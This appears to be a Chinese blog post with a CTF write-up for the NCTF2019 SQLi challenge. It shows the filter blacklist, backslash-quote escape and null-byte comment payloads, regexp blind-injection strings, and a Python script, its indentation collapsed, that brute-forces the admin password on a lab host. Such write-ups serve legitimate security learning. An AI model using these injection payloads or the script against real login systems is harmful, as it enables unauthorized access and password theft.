当前位置: 首页 > news >正文

[NCTF2019]SQLi ---不会编程的崽

欸嘿,继续sql注入。又是新的sql注入类型

 很直接哦,给出了sql查询语句。简单扫描一下,robots.txt还能访问。里边提示hint.txt

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";If $_POST['passwd'] === admin's password,Then you will get the flag;

 过滤了一些东西,而且只要密码对了就能拿到flag。来看看fuzz结果吧 。

 

过滤有点多哦,而且我还没放完。单引号被过滤了,一刀砍在大动脉。但是路堵了,不代表窗户也封了。我突然想到反斜杠将引号转义,在将后边的引号注释掉不就绕过了吗?思路的确是这个思路,不过常规盲注与常规注入关键字被过滤差不多,看了大佬wp,说重点在regexp上。

payload大概就是这个样子

username=\&passwd=||(True);%00

 查询语句变成了以下形式。其中一个单引号被 \ 影响,成了普通字符,导致单引号闭合错误

select * from users where username='\' and passwd='||(True);%00'

 ;%00代替注释符

 ()代替空格。%09 /**/也是可以的代替空格的

返回正确会有一个welcome.php。接下来就是脚本运行正则盲注了

||(passwd)regexp("^Yo");%00 

含义:匹配当前表下,passwd列里的内容是否为YO或者yo。

说真的这种写法第一次见还是有点突兀。因为是正则匹配,所以在脚本中,一定要过滤掉通配符("*","+","?")。不然脚本就会一直卡在通配符。而且这个passwd列名,是猜的。估计是hint.txt里有个passwd。。。。

import requests
from urllib import parseflag=''
url='http://019f0128-771d-48bb-8dab-8b6e9995ca8d.node5.buuoj.cn:81/index.php'
for i in range(1,500,1):for y in range(1,128,1):x=flag+chr(y)data='||passwd/**/regexp/**/"^{}";{}'.format(parse.unquote(x),parse.unquote('%00'))  #%00也要解码#print(chr(y))content = {'username': '\\',                   #防转义'passwd': data}#print(data)datas=requests.post(url=url,data=content)if chr(y)=='*' or chr(y)=='+' or chr(y)=='?':   #因为是正则匹配,所以要过滤通配符continueelif "welcome" in datas.text:flag=flag+chr(y)print(flag)break

 自己写的脚本有点烂,见谅。

 

因为大小写不区分,所以这里还得转小写。

print('YOU_WILL_NEVER_KNOW7788990'.lower())
#you_will_never_know7788990

登录就能拿到flag了 。

 

http://www.lryc.cn/news/324136.html

相关文章:

  • 上位机开发 halcon坐标转轴坐标
  • [数据结构]二叉树(下)
  • 动手学深度学习|notebook教程
  • C#面:简述 .NET Framework 类库中的“命名空间”
  • android.os.TransactionTooLargeException解决方案,Kotlin
  • ChatGPT智能聊天系统源码v2.7.6全开源Vue前后端+后端PHP
  • 汇丰:当前的美股是泡沫吗?
  • 颠覆传统:Web3如何塑造未来的数字经济
  • iOS模拟器 Unable to boot the Simulator —— Ficow笔记
  • 使用 Flink + Faker Connector 生成测试数据压测 MySQL
  • Android单片机硬件通信《GPIO通信》
  • C# WPF编程-事件
  • C语言 预处理器 注释 基本案例讲解
  • Flutter学习10 - Json解析与Model使用
  • Clickhouse异常:Exception: No operation equals between Decimal(X, X) and Float64
  • 会员中心微服务
  • element el-dialog里再调用其他组件,查找不到组件的方法
  • 【深度学习】四种天气分类 模版函数 从0到1手敲版本
  • Linux文件 profile、bashrc、bash_profile区别
  • blender记一下法线烘焙
  • 【LabVIEW FPGA入门】FPGA 存储器(Memory)
  • vue3+element Plus form 作为子组件,从父组件如何赋值?
  • Kafka系列之:Exactly-once support
  • Spring Boot2
  • 【idea做lua编辑器】IDEA下lua插件报错编辑器打不开(同时安装EmmyLua和Luanalysis这2个插件就报错,保留EmmyLua插件即可)
  • SpringCloud之网关组件Gateway学习
  • 全球大型语言模型(LLMS)现状与比较
  • Git Commit 提交规范,变更日志、版本发布自动化和 Emoji 提交标准
  • Spark与flink计算引擎工作原理
  • Excel数字乱码怎么回事 Excel数字乱码怎么调回来